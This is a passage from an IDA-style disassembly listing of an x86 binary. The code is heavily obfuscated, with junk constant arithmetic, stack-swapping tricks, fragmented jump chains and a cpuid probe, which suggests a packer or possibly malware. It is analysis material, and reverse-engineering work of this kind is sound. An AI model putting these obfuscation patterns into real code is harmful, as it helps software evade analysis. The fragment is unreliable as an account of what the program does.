		adc	edx, 65D0ACE3h
		jmp	loc_42B77C
sub_42F56C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9CB


loc_42F583:				; CODE XREF: sub_42D9CB+Aj
		mov	ebp, edx
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_42D9CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425752


loc_42F587:				; CODE XREF: sub_425752+Ej
		push	offset sub_42450E
		jmp	loc_42FBAC
; END OF FUNCTION CHUNK	FOR sub_425752
; ---------------------------------------------------------------------------


loc_42F591:				; CODE XREF: _7hdaygc1:loc_42EC5Cj
		xor	edi, 0C686AA23h
		cmp	edi, 9EFE3E09h
		jmp	loc_42B79B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_42F5A2:				; CODE XREF: sub_42C50Dj
		call	sub_42B0DC
; END OF FUNCTION CHUNK	FOR sub_42C50D
; START	OF FUNCTION CHUNK FOR sub_42B9E1


loc_42F5A7:				; CODE XREF: sub_42B9E1+15j
		jmp	loc_42853B
; END OF FUNCTION CHUNK	FOR sub_42B9E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42F5AC:				; CODE XREF: sub_42AA47+4EAj
		jmp	loc_4250B3
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------


loc_42F5B1:				; CODE XREF: _7hdaygc1:00424875j
		jmp	locret_426C9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42F5B6:				; CODE XREF: sub_42EBD6+Dj
		jnz	loc_42E4F1
		jmp	loc_42975A
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AB0F


loc_42F5C2:				; CODE XREF: sub_42AB0F-5908j
		jmp	nullsub_126
; END OF FUNCTION CHUNK	FOR sub_42AB0F
; ---------------------------------------------------------------------------


loc_42F5C7:				; CODE XREF: _7hdaygc1:0042FB85j
		xchg	edx, [esp]
		pop	edx
		mov	ds:dword_425158, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B32F


loc_42F5D2:				; CODE XREF: sub_42B32F:loc_42B84Cj
					; sub_42E41D+4j
		rol	eax, 4
		push	eax
		call	sub_42B650


loc_42F5DB:				; CODE XREF: _7hdaygc1:loc_428D97j
		jmp	nullsub_127
; END OF FUNCTION CHUNK	FOR sub_42B32F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42F5E1:				; CODE XREF: _7hdaygc1:00428CB1j
		pop	esi
		sub	edx, 13D74A3Bh
		or	edx, 1EA911E7h
		call	sub_42E5AE
; START	OF FUNCTION CHUNK FOR sub_42C48C


loc_42F5F3:				; CODE XREF: sub_42C48C+1DBAj
		jmp	loc_4258AC
; END OF FUNCTION CHUNK	FOR sub_42C48C
; ---------------------------------------------------------------------------


loc_42F5F8:				; CODE XREF: _7hdaygc1:loc_42FD4Bj
		jnz	loc_428620
		jmp	loc_424A21
; ---------------------------------------------------------------------------


loc_42F603:				; CODE XREF: _7hdaygc1:0042F306j
		or	edi, 6E0498DEh
		add	edi, 4DE935h
		mov	[edi], eax
		pop	edi
		jmp	locret_4280E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D8E


loc_42F617:				; CODE XREF: sub_427D8E:loc_4271B5j
		call	sub_42F621


loc_42F61C:				; CODE XREF: sub_42E90A+Cj
		jmp	loc_424A38
; END OF FUNCTION CHUNK	FOR sub_427D8E

; =============== S U B	R O U T	I N E =======================================



sub_42F621	proc near		; CODE XREF: _7hdaygc1:0042B42Cj
					; sub_427D8E:loc_42F617p

; FUNCTION CHUNK AT 00424799 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004253E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042561F SIZE 00000025 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	edx, ebp
		add	edx, 0FE5D5D6Eh
		mov	eax, offset dword_42B9BC
		call	sub_42AA07
		push	570215F0h
		pop	eax
		jmp	loc_42561F
sub_42F621	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42F642	proc near		; DATA XREF: sub_42BEC6-65B1o

; FUNCTION CHUNK AT 00425113 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00426459 SIZE 00000018 BYTES

		push	esi
		pushf
		push	0A4608C53h
		or	esi, 4671BB8Dh
		jmp	loc_426459
sub_42F642	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42F654:				; CODE XREF: _7hdaygc1:00429DB5j
		jg	loc_4298CA

; =============== S U B	R O U T	I N E =======================================



sub_42F65A	proc near		; CODE XREF: sub_42F1C6-5E79p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004248FC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00424D35 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00425D98 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042857B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428B78 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00429BFC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A750 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042A787 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B29A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B52F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042C3B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C88E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042D061 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DB65 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042E8D6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042F0E9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042F83B SIZE 0000001D BYTES

		xchg	edi, [esp+0]


loc_42F65D:				; CODE XREF: sub_42BAE7-1C75j
		pop	edi
		mov	ecx, 0F8h
		call	sub_42A94C
		jmp	loc_425D98
sub_42F65A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4268D9


loc_42F66D:				; CODE XREF: sub_4268D9-273Bj
		jl	loc_42611B
		sbb	ebx, esi
		jmp	loc_4240BD
; END OF FUNCTION CHUNK	FOR sub_4268D9

; =============== S U B	R O U T	I N E =======================================



sub_42F67A	proc near		; CODE XREF: _7hdaygc1:00423AD0j
					; sub_42C3E4-D5Ap
		xchg	ecx, [esp+0]
		pop	ecx
		jz	loc_42B644
		call	nullsub_3
		jmp	loc_423AC0
sub_42F67A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42F68E	proc near		; CODE XREF: sub_42C1AF:loc_42BA89j
		add	esp, 0FFFFFED8h
		mov	[ebp-8], edx
		jmp	loc_42AC7A
sub_42F68E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_42F69C:				; CODE XREF: sub_4288FE+14j
		jz	loc_426CA2
		jmp	loc_42EEF8
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423D6F


loc_42F6A7:				; CODE XREF: sub_423D6F+Aj
		xchg	edi, [esp+0]
		push	esi
		call	sub_425E21
; END OF FUNCTION CHUNK	FOR sub_423D6F
; START	OF FUNCTION CHUNK FOR sub_427F72


loc_42F6B0:				; CODE XREF: sub_427F72-3496j
		jmp	loc_426928
; END OF FUNCTION CHUNK	FOR sub_427F72
; ---------------------------------------------------------------------------


loc_42F6B5:				; CODE XREF: _7hdaygc1:004281C4j
		rol	eax, 3
		jmp	sub_42FA48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A17C


loc_42F6BD:				; CODE XREF: _7hdaygc1:0042886Dj
					; sub_42A17C:loc_42DBD1j
		push	5FFD80B9h
		sbb	esi, 5397FAF0h
		jmp	loc_42AF83
; END OF FUNCTION CHUNK	FOR sub_42A17C

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F6CD	proc near		; CODE XREF: sub_429A26:loc_427ED3j
					; _7hdaygc1:0042B275j
		retn
sub_42F6CD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42F6CE:				; CODE XREF: sub_423DFC+6551j
		jmp	nullsub_131
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4268D9


loc_42F6D3:				; CODE XREF: sub_4268D9-7C4j
					; sub_42C443-53ADj
		jmp	nullsub_132
; END OF FUNCTION CHUNK	FOR sub_4268D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B11


loc_42F6D8:				; CODE XREF: sub_428B11:loc_42B4BFj
					; sub_428B11+3789j
		mov	eax, [ebp-4]
		cmp	dword ptr [eax], 0
		jz	loc_4270F0
		jmp	loc_42723D
; END OF FUNCTION CHUNK	FOR sub_428B11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42F6E9:				; CODE XREF: sub_423172+347Ej
		push	6E7F2754h
		jmp	loc_428DCA
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
		push	0EBEC0ED9h
		pop	eax
		or	eax, 31703234h
		jmp	loc_42C884
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4289CE


loc_42F704:				; CODE XREF: sub_4289CE:loc_4293C9j
		jz	loc_42D56E


loc_42F70A:				; CODE XREF: _7hdaygc1:0042AA40j
		jmp	loc_425E82
; END OF FUNCTION CHUNK	FOR sub_4289CE
; ---------------------------------------------------------------------------
		db 56h
		dd 8A0FCF23h, 0FFFFC67Dh
; ---------------------------------------------------------------------------


loc_42F718:				; CODE XREF: _7hdaygc1:loc_42C797j
		jmp	loc_42BC21
; ---------------------------------------------------------------------------
		add	esi, 2B90EE90h
		jmp	sub_428120
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42F729:				; CODE XREF: _7hdaygc1:loc_42A248j
		push	0FFFFFFFFh
		push	eax
		push	edx
		push	1F25135Ah
		jmp	loc_42BFE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427DDA


loc_42F737:				; CODE XREF: sub_427DDA:loc_428179j
		mov	eax, [ebp-4]
		call	sub_42EBB3
; END OF FUNCTION CHUNK	FOR sub_427DDA
; START	OF FUNCTION CHUNK FOR sub_42DBAE


loc_42F73F:				; CODE XREF: sub_42DBAE+Fj
		jmp	nullsub_173
; END OF FUNCTION CHUNK	FOR sub_42DBAE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AD16


loc_42F745:				; CODE XREF: sub_42AD16-1366j
		jmp	nullsub_133
; END OF FUNCTION CHUNK	FOR sub_42AD16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_42F74A:				; CODE XREF: sub_423DDB:loc_424256j
		pop	esi
		sub	esi, 8E6E1A81h
		and	esi, 0AD2DBE3Eh
		jnz	loc_42F1F9
		jg	loc_42CF0E
		jmp	loc_42F1E8
; END OF FUNCTION CHUNK	FOR sub_423DDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B470


loc_42F768:				; CODE XREF: sub_42B470:loc_426E6Bj
		push	21766222h
		pop	eax
		and	eax, 0C13A4CEAh
		xor	eax, 678A6760h
		rol	eax, 1Ch
		jmp	loc_42C5FC
; END OF FUNCTION CHUNK	FOR sub_42B470
; ---------------------------------------------------------------------------
		add	esi, ebx
		jmp	loc_429966

; =============== S U B	R O U T	I N E =======================================



sub_42F789	proc near		; CODE XREF: sub_42826A+8p
					; _7hdaygc1:00429149j

; FUNCTION CHUNK AT 0042358A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424A85 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00424B9F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00424E92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425060 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042910B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042D605 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042FCAE SIZE 00000011 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jle	loc_42B068


loc_42F793:				; CODE XREF: sub_42F789-ACFDj
					; _7hdaygc1:loc_426991j ...
		mov	eax, [ebp-8]
		jmp	loc_42358A
sub_42F789	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A462


loc_42F79B:				; CODE XREF: sub_42A462+6j
		push	esi
		push	0B08D318Fh
		pop	esi
		and	esi, 0FBAF5E2Ah
		xor	esi, 1573E4C2h
		add	esi, ebp
		jmp	loc_42E783
; END OF FUNCTION CHUNK	FOR sub_42A462

; =============== S U B	R O U T	I N E =======================================



sub_42F7B5	proc near		; DATA XREF: sub_42CA28:loc_42CA3Bo
		add	dword ptr [ebp-8], 2
		jmp	loc_42BF18
sub_42F7B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F7BE	proc near		; CODE XREF: sub_423648-24p
					; sub_423648+672Cp
		push	ebp
		push	offset sub_429A26
		jmp	nullsub_136
sub_42F7BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_42F7C9:				; CODE XREF: sub_425C3B:loc_426A5Dj
		sub	ebx, ds:4000F6h
		xor	ebx, 95B8A9AFh
		test	ebx, 10h
		jmp	loc_42A03E
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------


loc_42F7E0:				; CODE XREF: _7hdaygc1:004284B6j
		jnb	loc_4285D6

; =============== S U B	R O U T	I N E =======================================



sub_42F7E6	proc near		; CODE XREF: sub_42C16F-31BCp

; FUNCTION CHUNK AT 0042CD3F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042CD85 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	[edx], eax
		pop	ecx
		jmp	loc_42CD85
sub_42F7E6	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42F7F3:				; CODE XREF: _7hdaygc1:0042A4ECj
		jmp	loc_42C71A
; ---------------------------------------------------------------------------


loc_42F7F8:				; CODE XREF: _7hdaygc1:0042309Ej
		jmp	loc_42C612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42F7FD:				; CODE XREF: sub_42C443+1460j
		xchg	ebp, [esp+4+var_4]
		push	1A4F24C8h
		pop	ecx
		sub	ecx, 43AE0854h
		or	ecx, 0DEE54127h
		and	ecx, 0AA1D4C0h
		add	ecx, 0F5A1656Ch
		jmp	loc_42876A
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F291


loc_42F823:				; CODE XREF: sub_42F291+16j
		call	sub_42DAF7
		mov	ebx, 0DAF2556Bh
		jmp	loc_429E9C
; END OF FUNCTION CHUNK	FOR sub_42F291
; ---------------------------------------------------------------------------
		pop	ecx
		rol	ebx, 17h
		jmp	sub_427248
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42F83B:				; CODE XREF: sub_42F65A-A916j
		pop	ebx
		rol	ebx, 9
		and	ebx, 0ACB80AE2h
		xor	ebx, 0A0F08294h
		add	ebx, ebp
		add	ebx, 0D79F777Ch
		jmp	loc_42B52F
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
		cmp	ecx, edx
		jmp	loc_42B914
; ---------------------------------------------------------------------------


loc_42F85F:				; CODE XREF: _7hdaygc1:loc_429222j
		rol	ebx, 6
		jle	loc_42FBF7


loc_42F868:				; CODE XREF: _7hdaygc1:00429214j
		add	esi, 0C4CC0F17h
		xchg	esi, [esp]
		jmp	sub_428C3B
; ---------------------------------------------------------------------------
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4270F0
		jmp	loc_42C943
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429CCF


loc_42F888:				; CODE XREF: sub_429CCF:loc_42E1A8j
		mov	esi, ebp
		push	offset sub_42C209
		jmp	nullsub_182
; END OF FUNCTION CHUNK	FOR sub_429CCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42F894:				; CODE XREF: sub_429318-127Ej
		pushf


loc_42F895:				; CODE XREF: sub_429318:loc_424633j
		call	sub_42FD68


loc_42F89A:				; CODE XREF: sub_4288FE:loc_4248A0j
		or	ebx, ds:4000F1h
		call	sub_426303


loc_42F8A5:				; CODE XREF: sub_4269CB:loc_426174j
		adc	ecx, 4FEE9B41h
		jmp	loc_4273C7
; END OF FUNCTION CHUNK	FOR sub_429318

; =============== S U B	R O U T	I N E =======================================



sub_42F8B0	proc near		; DATA XREF: sub_42EA6A-49A4o
		xchg	ebx, [esp+0]
		retn
sub_42F8B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4CE


loc_42F8B4:				; CODE XREF: sub_42F4CE-6547j
		jmp	loc_423350
; END OF FUNCTION CHUNK	FOR sub_42F4CE

; =============== S U B	R O U T	I N E =======================================



sub_42F8B9	proc near		; CODE XREF: _7hdaygc1:00429845j
					; sub_42911B:loc_42C846j
		push	ebp
		push	offset loc_427E89
		jmp	nullsub_172
sub_42F8B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F8C4	proc near		; CODE XREF: _7hdaygc1:00426897j
					; _7hdaygc1:004286A8p

; FUNCTION CHUNK AT 004233C6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004263DC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426C2C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042977C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004297E3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00429D8B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0042A494 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A739 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042A8BE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042C87E SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	edx, edi
		rol	edx, 5
		xor	edx, ebp
		rol	edx, 5
		add	edx, esp
		jmp	loc_42A8BE
sub_42F8C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42F8D9:				; CODE XREF: _7hdaygc1:00424D90j
		xchg	edi, [ebx]

; =============== S U B	R O U T	I N E =======================================



sub_42F8DB	proc near		; CODE XREF: sub_42567E+8289p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004234AC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00423A2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423E17 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042A797 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CC5D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042DAD4 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		xor	eax, 1FAF3F42h
		and	eax, 1CC736C0h
		jmp	loc_423E17
sub_42F8DB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42F8F6	proc near		; CODE XREF: sub_42D002:loc_424176p
					; _7hdaygc1:00426D98j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00425F87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F220 SIZE 00000015 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	edx, [esp+0]
		push	eax
		jmp	loc_425F87
sub_42F8F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42F903:				; CODE XREF: sub_425E64-12DCj
		mov	ecx, 0A5C0A545h
		jge	sub_428371
		jmp	loc_42D35C
; END OF FUNCTION CHUNK	FOR sub_425E64

; =============== S U B	R O U T	I N E =======================================



sub_42F913	proc near		; DATA XREF: sub_42F65A-1ADEo

var_4		= dword	ptr -4

		mov	eax, [ebp-4]
		push	ebx
		push	eax
		pop	ebx
		xchg	ebx, [esp+4+var_4]
		call	sub_42C7F3


loc_42F921:				; CODE XREF: sub_4246D7+8FFFj
		jmp	loc_42CE42
sub_42F913	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FCD3


loc_42F926:				; CODE XREF: sub_42FCD3-3368j
		jmp	sub_42F03C
; END OF FUNCTION CHUNK	FOR sub_42FCD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_42F92B:				; CODE XREF: sub_424963+7440j
		jmp	nullsub_142
; END OF FUNCTION CHUNK	FOR sub_424963
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423752


loc_42F930:				; CODE XREF: sub_423752+AACAj
		pop	ecx


loc_42F931:				; CODE XREF: sub_423752:loc_42812Cj
		mov	edi, eax
		mov	eax, 80000001h
		xor	edx, edx
		cpuid
		jmp	loc_423839
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424744


loc_42F941:				; CODE XREF: sub_424744:loc_42E163j
		jz	loc_4243B2
; END OF FUNCTION CHUNK	FOR sub_424744
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42F947:				; CODE XREF: sub_429318-26F2j
		jmp	loc_423704
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------


loc_42F94C:				; CODE XREF: _7hdaygc1:0042341Aj
		jmp	sub_429999
; ---------------------------------------------------------------------------
		sub	eax, edi
		push	309839DAh
		or	ebp, eax
		popf
		pop	esi
		jmp	loc_4243B2
; ---------------------------------------------------------------------------


loc_42F961:				; CODE XREF: _7hdaygc1:0042E5D0j
		ja	loc_42734A

; =============== S U B	R O U T	I N E =======================================



sub_42F967	proc near		; CODE XREF: sub_42ABF7+4F9Dp

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	eax, [esp-4+arg_0]
		jmp	loc_42C472
sub_42F967	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_42F973:				; CODE XREF: _7hdaygc1:loc_42E59Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42F974:				; CODE XREF: sub_4291EA+350Cj
		jmp	loc_4260F0
; END OF FUNCTION CHUNK	FOR sub_4291EA

; =============== S U B	R O U T	I N E =======================================



sub_42F979	proc near		; DATA XREF: _7hdaygc1:0042A6A3o
		xor	edx, ebp
		rol	edx, 5
		add	edx, esp
		rol	edx, 5
		mov	[ebp-4], edx
		push	offset loc_42D2AA
		jmp	loc_42E8E3
sub_42F979	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42F991:				; CODE XREF: _7hdaygc1:0042B742j
		jmp	loc_42825F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB61


loc_42F996:				; CODE XREF: sub_42BB61-3595j
		jmp	loc_42D394
; END OF FUNCTION CHUNK	FOR sub_42BB61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42409E


loc_42F99B:				; CODE XREF: sub_42409E+1E2Cj
		jmp	loc_42B498
; END OF FUNCTION CHUNK	FOR sub_42409E
; ---------------------------------------------------------------------------


loc_42F9A0:				; CODE XREF: _7hdaygc1:00425454j
		jmp	locret_42A504
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_42F9A5:				; CODE XREF: sub_42EF91-ADDEj
		pop	ecx
		or	ecx, 1E67273Fh
		and	ecx, 0CAD0DE94h
		call	sub_42A607


loc_42F9B7:				; CODE XREF: sub_429318+2A34j
		jmp	loc_42C970
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42F9BC:				; CODE XREF: sub_4291EA-1043j
		mov	edi, eax
		call	sub_42D002


loc_42F9C3:				; CODE XREF: _7hdaygc1:0042CB4Ej
		jmp	loc_426AB7
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------


loc_42F9C8:				; CODE XREF: _7hdaygc1:0042A823j
		jmp	loc_42A1EA
; ---------------------------------------------------------------------------


loc_42F9CD:				; CODE XREF: _7hdaygc1:0042A10Dj
		jmp	sub_42A94C

; =============== S U B	R O U T	I N E =======================================



sub_42F9D2	proc near		; CODE XREF: _7hdaygc1:00425481j
					; sub_425A37+438Ep

; FUNCTION CHUNK AT 0042389E SIZE 00000018 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, 0
		call	sub_42E168


loc_42F9E0:				; CODE XREF: sub_425735+7029j
		jmp	loc_42389E
sub_42F9D2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D16D


loc_42F9E5:				; CODE XREF: sub_42D16D+11j
		mov	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		call	sub_42655C


loc_42F9F1:				; CODE XREF: sub_42B034-78A2j
		jmp	nullsub_146
; END OF FUNCTION CHUNK	FOR sub_42D16D
; ---------------------------------------------------------------------------


loc_42F9F6:				; CODE XREF: _7hdaygc1:0042F122j
		sub	eax, 11254F5Eh
		rol	eax, 10h
		add	eax, 0B9A48621h
		popf
		xchg	eax, [esp]
		jmp	loc_425245
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DBF7


loc_42FA0E:				; CODE XREF: sub_42DBF7+6j
		cmp	ds:byte_427CC0,	0
		jnz	loc_42AB6C
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_425138
		jmp	loc_429CBC
; END OF FUNCTION CHUNK	FOR sub_42DBF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42FA28:				; CODE XREF: sub_42AFFE-208j
		mov	[ecx], edi
		sub	edi, 0FF829170h
		mov	ebp, 0A4573AE6h
		shl	ebx, 11h
		jmp	loc_427DC0
; END OF FUNCTION CHUNK	FOR sub_42AFFE

; =============== S U B	R O U T	I N E =======================================



sub_42FA3D	proc near		; CODE XREF: sub_42C6FB:loc_423B47j
					; sub_42C6FB-6C40j

; FUNCTION CHUNK AT 004267B4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042BB0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CE7D SIZE 00000018 BYTES

		push	ebp


loc_42FA3E:				; CODE XREF: sub_42DC52:loc_42DC5Dj
		call	sub_4270E6


loc_42FA43:				; CODE XREF: sub_42567E+8299j
		jmp	loc_4267B4
sub_42FA3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42FA48	proc near		; CODE XREF: _7hdaygc1:0042BEB7p
					; _7hdaygc1:0042F6B8j
		xchg	edx, [esp+0]
		pop	edx
		mov	edx, 0DD5E106Fh
		push	ecx
sub_42FA48	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42FA52:				; CODE XREF: sub_42C443:loc_42CDC2j
		push	5AC1164Dh
		jmp	loc_423F15
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429557


loc_42FA5C:				; CODE XREF: sub_429557+2j
		jl	loc_42DEB4
; END OF FUNCTION CHUNK	FOR sub_429557
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_42FA62:				; CODE XREF: sub_4288FE:loc_425D1Bj
		push	0
		push	0
		push	edi
		push	7797E494h
		pop	edi
		xor	edi, 4D2ABAFEh
		jmp	loc_42E1C8
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42FA78:				; CODE XREF: sub_423648:loc_423F99j
		pop	ecx
		mov	[ebp-20h], eax
; END OF FUNCTION CHUNK	FOR sub_423648
; START	OF FUNCTION CHUNK FOR sub_42E51C


loc_42FA7C:				; CODE XREF: sub_423648+4CB9j
					; sub_42E51C-5E8Aj ...
		jns	loc_42C6AC
		test	byte ptr [ebp-8], 40h
		jz	loc_42A77E
		jmp	loc_42CA79
; END OF FUNCTION CHUNK	FOR sub_42E51C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42936E


loc_42FA91:				; CODE XREF: sub_42936E+5C82j
		push	0FFFFFFF1h
		call	sub_42C50D
		push	eax
		call	sub_42DAD9
		mov	edx, [ebp+8]
		mov	eax, [edx]
